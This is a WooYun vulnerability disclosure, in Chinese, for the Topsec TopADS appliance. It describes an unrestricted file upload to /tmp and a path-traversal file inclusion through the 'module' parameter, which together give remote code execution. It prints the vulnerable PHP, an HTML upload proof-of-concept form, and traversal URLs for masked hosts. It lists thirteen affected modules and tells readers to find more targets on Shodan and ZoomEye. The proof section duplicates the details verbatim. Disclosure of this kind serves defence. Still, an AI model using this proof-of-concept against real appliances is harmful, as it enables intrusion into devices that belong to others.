当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0178904

漏洞标题:天融信TopADS文件包含导致多处代码执行漏洞

相关厂商:天融信

漏洞作者: 老虎皮

提交时间:2016-02-26 17:22

修复时间:2016-05-29 10:00

公开时间:2016-05-29 10:00

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-26: 细节已通知厂商并且等待厂商处理中
2016-02-29: 厂商已经确认,细节仅向厂商公开
2016-03-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-24: 细节向核心白帽子及相关领域专家公开
2016-05-04: 细节向普通白帽子公开
2016-05-14: 细节向实习白帽子公开
2016-05-29: 细节向公众公开

简要描述:

全部打包(13处)我是好孩子,我不吹牛逼,全部是rce,我详细分析,乌云,奖励来

详细说明:

偶尔撸到一套TopADS源码
对其源码进行分析

1-1.png


1.png


入口为libraries/Ngtos.class.php

2.png


入口函数为run()
为mvc架构
参数为:module action

$module = trim($_REQUEST['module']) ? trim($_REQUEST['module']) : 'login';
$action = trim($_REQUEST['action']) ? trim($_REQUEST['action']) : '';
if ($module == 'home' || $module == 'main' || $module == 'login' || $module == 'logout' || $module == 'password') {
$action = $module;
$module = 'page_frame';
}
if ($offset = @strpos($module, '_')) {
$folder = substr($module, 0, $offset);
$file = substr($module, $offset + 1);
$filename = ROOTPATH . '/modules/' . $folder . '/' . $file . '.mds.php';
if (!file_exists($filename)) {
$filename = ROOTPATH . '/modules/' . $folder . '/' . $file . '.php';
}
} else {
$filename = ROOTPATH . '/modules/' . $module . '.mds.php';
if (!file_exists($filename)) {
$filename = ROOTPATH . '/modules/' . $module . '.php';
}
}
if (!file_exists($filename)) {
die('Not Found');
}
require_once $filename;


$module变量未经过过滤,导致可以使用../这样的跳转字符,但是后缀又是.mds.php或者.php文件,所以我们也没发包含其他文件,例如有人会说了,截断?
但是这里php版本以及gpc影响,截断不成功,所以这条路行不通。
接下来再看我一步步分析
我接下来分析其中一例,其他的留厂商逐个去修复
在系统system/upload.mds.php中

else if ($action == 'local_import') {
/* if ($_FILES["file"]["error"] > 0)
{
include template('system_upload_file');
return;
} */
if (!empty($_FILES["file"]["error"])) {
switch ($_FILES["file"]['error']) {
case '1':
$error = 'The uploaded file exceeds the upload_max_filesize directive in php.ini';
break;
case '2':
$error = 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form';
break;
case '3':
$error = 'The uploaded file was only partially uploaded';
break;
case '4':
$error = 'No file was uploaded.';
break;
case '6':
$error = 'Missing a temporary folder';
break;
case '7':
$error = 'Failed to write file to disk';
break;
case '8':
$error = 'File upload stopped by extension';
break;
case '999':
default:
$error = 'No error code avaiable';
}
echo $error;
} else if (empty($_FILES['file']['tmp_name']) || $_FILES['file']['tmp_name'] == 'none') {
$error = 'No file was uploaded......';
echo $error;
} else {
$param['filename'] = $_FILES["file"]["name"];
$newfilename = "/tmp/" . $_FILES["file"]["name"];
if ($_POST['des'])
$param['comments'] = formatpost($_POST['des']);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $newfilename)) {
$rspString = getResponse('system firmware', "webimport", $param, 2);
if (is_numeric($rspString) && $rspString == 0) {
echo 'ok';
} else {
echo $rspString;
}
} else {
include template('system_upload_file');
}
}


这里我们可以看到最终写入动作

move_uploaded_file($_FILES["file"]["tmp_name"], $newfilename


其中 $newfilename为路径

$newfilename = "/tmp/" . $_FILES["file"]["name"];


这里$_FILES["file"]["name"] 即我们的文件名,
有人就说了,那这样文件名可控我们直接跳转写到web目录?
事实上我已经测过了,他本身有过滤,文件名过滤了../这样的字符,只能老老实实的写文件名
所以这里对后缀也没限制,所以我们直接就可以写个php了
构造如下poc

<form action="**.**.**.**/index.php?module=system_config&action=importHandle" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="dosubmit" value="上传" style="margin-top:5px; height:28px;">
</form>



所以我们的恶意代码就写入了/tmp目录了
所以结合第一步我们的跳转,我们只要
**.**.**.**/index.php?module=../../../../../tmp/文件名
例如我们传的文件名为testwooyun.php
我们连接的时候就用
**.**.**.**/index.php?module=../../../../../tmptestwooyun
其他处在以下列表
auth/localCaPki.mds.php
auth/peerPki.mds.php
auth/pki.mds.php
system/config.mds.php
auth/thirdPki.mds.php
auth/user.mds.php
system/rules.mds.php
ads/ads_staticblist.php
ads/ads_staticwlist.php
ads/policy_defence.mds.php
其中ads/ads_staticblist.php 可以直接shell
因为直接传到web目录了

if ($action == "import") {
51 $upFilePath = "/usr/local/apache2/htdocs/attachements/";
52 if ($_FILES['file']['size'] > 819200) { //可输入变量$_FILES 可能存在安全威胁
53 echo json_encode(array('file_infor' => 'error:上传失败,文件过大,最大800K'));
54 return;
55 }
56 $ok=@move_uploaded_file($_FILES['file']['tmp_name'], $upFilePath.$_FILES['file']['name']); //可输入变量$_FILES 可能存在安全威胁
57 if($ok === FALSE){
58 echo json_encode(array('file_infor' => 'error:上传失败'));
59 } else {
60 $err = "";
61 $fp = fopen($upFilePath.$_FILES['file']['name'], "r"); //可输入变量$_FILES 可能存在安全威胁
62 while($line = fgets($fp)) {
63 $param['whitelist'] = formatpost($line);
64 $rspString = getResponse("ddos global", "add", $param, 2);
65 if (is_string($rspString)) {
66 $err = $rspString;
67 } else{
68 $sql = "INSERT INTO ads_static_wlist values"."('".formatpost($line)."') ";
69 $db->query($sql);
70 }
71 }


6.png


我给出通杀案例:
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
.....其他的请去撒旦上找,或者钟馗之眼上找吧,
天融信这套很多。。。

漏洞证明:

因为直接传到web目录了

if ($action == "import") {
51 $upFilePath = "/usr/local/apache2/htdocs/attachements/";
52 if ($_FILES['file']['size'] > 819200) { //可输入变量$_FILES 可能存在安全威胁
53 echo json_encode(array('file_infor' => 'error:上传失败,文件过大,最大800K'));
54 return;
55 }
56 $ok=@move_uploaded_file($_FILES['file']['tmp_name'], $upFilePath.$_FILES['file']['name']); //可输入变量$_FILES 可能存在安全威胁
57 if($ok === FALSE){
58 echo json_encode(array('file_infor' => 'error:上传失败'));
59 } else {
60 $err = "";
61 $fp = fopen($upFilePath.$_FILES['file']['name'], "r"); //可输入变量$_FILES 可能存在安全威胁
62 while($line = fgets($fp)) {
63 $param['whitelist'] = formatpost($line);
64 $rspString = getResponse("ddos global", "add", $param, 2);
65 if (is_string($rspString)) {
66 $err = $rspString;
67 } else{
68 $sql = "INSERT INTO ads_static_wlist values"."('".formatpost($line)."') ";
69 $db->query($sql);
70 }
71 }


6.png


我给出通杀案例:
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
.....其他的请去撒旦上找,或者钟馗之眼上找吧,
天融信这套很多。。。

修复方案:

版权声明:转载请注明来源 老虎皮@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-02-29 09:58

厂商回复:

已确认,谢谢提交

最新状态:

暂无